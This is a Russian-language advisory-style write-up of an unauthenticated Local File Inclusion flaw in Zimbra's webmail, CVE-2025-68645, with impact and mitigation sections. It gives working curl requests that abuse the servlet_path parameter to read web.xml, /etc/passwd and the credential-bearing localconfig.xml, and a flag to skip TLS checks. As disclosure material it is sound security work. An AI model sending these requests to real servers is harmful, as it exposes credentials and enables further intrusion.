📌 Обзор
В этом документе описывается уязвимость Local File Inclusion (LFI), затрагивающая Zimbra Collaboration Suite.
Проблема возникает из-за неправильной обработки следующего параметра:
/h/*?javax.servlet.include.servlet_path=
Это позволяет неаутентифицированному пользователю получать доступ к внутренним ресурсам приложения.
🔍 Детали уязвимости
- Тип: Local File Inclusion (LFI)
- Доступ: Неаутентифицированный
- Затронутый компонент: Webmail (Classic UI)
- Вектор атаки: Манипуляция HTTP-запросами
🧪 Первоначальная проверка
Тестовый запрос:
curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
▶️ Демонстрация:
✅ Результат
- Внутренний файл успешно получен
- Подтверждает неправильную обработку входных данных
⚙️ Поведение конечных точек
Несколько конечных точек обрабатывают уязвимый параметр по-разному.
Пример:
/h/printcalendar?javax.servlet.include.servlet_path=...
Наблюдения:
- Более стабильное поведение доступа к файлам
- Лучшая надежность ответа по сравнению с
/h/rest
🚧 Соображения по TLS
Проблема
SSL: certificate subject name does not match target host
Обходной путь
curl -k "https://TARGET/..."
🚀 Примеры эксплуатации
📂 Доступ к внутреннему веб-ресурсу
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
📂 Попытка доступа к системному файлу
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"
🔐 Доступ к конфигурации приложения
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"
Возможные утечки:
- Учетные данные служб
- Внутренняя конфигурация
- Детали инфраструктуры
🧠 Воздействие
Успешная эксплуатация может привести к:
- Раскрытию конфиденциальных конфигурационных файлов
- Раскрытию внутренних служб и архитектуры
- Утечке учетных данных
- Повышению риска дальнейшей компрометации
🛡️ Меры по смягчению
-
Обновить Zimbra до исправленных версий
-
Ограничить доступ к уязвимым конечным точкам
-
Отслеживать логи на наличие подозрительных параметров:
javax.servlet.include.servlet_path
-
Развернуть правила WAF для блокировки вредоносных шаблонов
💡 Ключевые выводы
- Ошибки проверки входных данных могут раскрыть внутренние ресурсы
- Разные конечные точки могут вести себя непоследовательно
- Конфигурационные файлы часто содержат критически важную информацию
- Раннее обнаружение значительно снижает риск
🏴 Заключение
- Уязвимость подтверждена: CVE-2025-68645
- Эксплуатация позволяет несанкционированный доступ к файлам
- Настоятельно рекомендуется немедленное устранение
🔐 Безопасность имеет значение